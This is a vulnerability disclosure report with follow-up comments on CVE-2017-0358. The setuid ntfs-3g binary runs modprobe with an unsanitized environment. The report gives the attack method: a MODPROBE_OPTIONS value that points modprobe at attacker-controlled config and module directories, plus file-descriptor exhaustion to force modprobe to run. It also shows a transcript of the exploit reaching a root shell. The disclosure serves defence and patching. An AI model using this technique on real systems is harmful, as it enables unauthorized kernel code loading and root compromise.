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Starred by 3 users
Status: Fixed
Closed: Feb 2017

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ntfs-3g: modprobe is executed with unsanitized environment
Project Member Reported by, Jan 5 2017 Back to list
ntfs-3g is installed by default e.g. on Ubuntu and comes with a
setuid root program /bin/ntfs-3g. When this program is invoked on a
system whose kernel does not support FUSE filesystems (detected by
get_fuse_fstype()), ntfs-3g attempts to load the "fuse" module using
/sbin/modprobe via load_fuse_module().

The issue is that /sbin/modprobe is not designed to run in a setuid
context. As the manpage of modprobe explicitly points out:

       The MODPROBE_OPTIONS environment variable can also be used
       to pass arguments to modprobe.

Therefore, on a system that does not seem to support FUSE filesystems,
an attacker can set the environment variable MODPROBE_OPTIONS to
something like "-C /tmp/evil_config -d /tmp/evil_root" to force
modprobe to load its configuration and the module from
attacker-controlled directories. This allows a local attacker to load
arbitrary code into the kernel.

In practice, the FUSE module is usually already loaded. However, the
issue can still be attacked because a failure to open
/proc/filesystems (meaning that get_fuse_fstype() returns
FSTYPE_UNKNOWN) always causes modprobe to be executed, even if the
FUSE module is already loaded. An attacker can cause an attempt to
open /proc/filesystems to fail by exhausting the global limit on the
number of open file descriptions (/proc/sys/fs/file-max).

I have attached an exploit for the issue. I have tested it in a VM
with Ubuntu Server 16.10. To reproduce, unpack the attached file,
compile the exploit and run it:

user@ubuntu:~$ tar xf ntfs-3g-modprobe-unsafe.tar 
user@ubuntu:~$ cd ntfs-3g-modprobe-unsafe/
user@ubuntu:~/ntfs-3g-modprobe-unsafe$ ./ 
make: Entering directory '/usr/src/linux-headers-4.8.0-32-generic'
  CC [M]  /home/user/ntfs-3g-modprobe-unsafe/rootmod.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/user/ntfs-3g-modprobe-unsafe/rootmod.mod.o
  LD [M]  /home/user/ntfs-3g-modprobe-unsafe/rootmod.ko
make: Leaving directory '/usr/src/linux-headers-4.8.0-32-generic'
depmod: WARNING: could not open /home/user/ntfs-3g-modprobe-unsafe/depmod_tmp//lib/modules/4.8.0-32-generic/modules.order: No such file or directory
depmod: WARNING: could not open /home/user/ntfs-3g-modprobe-unsafe/depmod_tmp//lib/modules/4.8.0-32-generic/modules.builtin: No such file or directory
user@ubuntu:~/ntfs-3g-modprobe-unsafe$ ./sploit
looks like we won the race
got ENFILE at 198088 total
Failed to open /proc/filesystems: Too many open files in system
yay, modprobe ran!
modprobe: ERROR: ../libkmod/libkmod.c:514 lookup_builtin_file() could not open builtin file '/tmp/ntfs_sploit.u48sGO/lib/modules/4.8.0-32-generic/modules.builtin.bin'
modprobe: ERROR: could not insert 'rootmod': Too many levels of symbolic links
Error opening '/tmp/ntfs_sploit.u48sGO/volume': Is a directory
Failed to mount '/tmp/ntfs_sploit.u48sGO/volume': Is a directory
we have root privs now...
root@ubuntu:~/ntfs-3g-modprobe-unsafe# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lxd),123(libvirt),127(sambashare),128(lpadmin),1000(user)

Note: The exploit seems to work relatively reliably in VMs with
multiple CPU cores, but not in VMs with a single CPU core. If you
test this exploit in a VM, please ensure that the VM has at least two
CPU cores.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
20.0 KB Download
Project Member Comment 1 by, Jan 5 2017
The vendor has created a patch that provides modprobe with an empty environment. The patch looks good.
Project Member Comment 2 by, Feb 11 2017
Labels: -Restrict-View-Commit CVE-2017-0358
Status: Fixed
Derestricting: While I don't see a new release on the vendor's website (, this bug was posted on oss-security by Laszlo Boszormenyi ( (Someone also posted an exploit for the bug; however, unlike my exploit, that exploit probably won't work if the FUSE kernel module is already loaded.)
Comment 3 Deleted
@jannh -- what makes you think my exploit doesn't work when fuse is already loaded? :) Tested on standard debian 9 and works out of the box for me. Did you see the trick I used to bypass what you think wouldn't be possible? I believe you should be able to reproduce as well.
Project Member Comment 5 by, Feb 23 2017
@kristian...: I just installed Debian 9 in a VM, and FUSE is not already loaded: "grep fuse /proc/filesystems" shows nothing. With e.g. Ubuntu Server 16.10, that command does print output.

The slightly tricky part of my exploit is to bypass the get_fuse_fstype() check in ntfs-3g if the FUSE driver is already loaded. As far as I can tell, you don't need this bypass on a freshly booted Debian 9 machine because the FUSE driver is only loaded on demand in Debian 9.

Note that the presence of /dev/fuse does not imply that the fuse module is loaded; however, attempting to open that device should trigger module autoloading if necessary.

Does your exploit still work if the "fuse" module has been autoloaded (e.g. via "cat /dev/fuse")? Or does it work on any Linux system where FUSE support is compiled into the kernel (e.g. Ubuntu Server 16.10)?
Jann -- so you have also confirmed my exploit works on Debian 9 stretch, thanks! You are correct that my exploit does NOT work on other versions of debian or Ubuntu due to fuse already being loaded. I had not tested on other distros and so as you mentioned, your exploit is able to bypass that check on ubuntu, which is neat. The "trick" I was referring to was the symlink traversal and to the aliased module name, which as you correctly identified, does not actually bypass the ntfs-3g code, so I was mistaken. Your symlink and file exhaustion attack does work on Ubuntu to bypass the fuse loaded check; very nice.

Thanks again for confirming everything. Looks like my exploit only works on Debian 9 stretch due to the fact that fuse is not loaded by default. If you can confirm all this that would be great. Cheers.
Project Member Comment 7 by, Jun 2
Labels: Methodology-source-review
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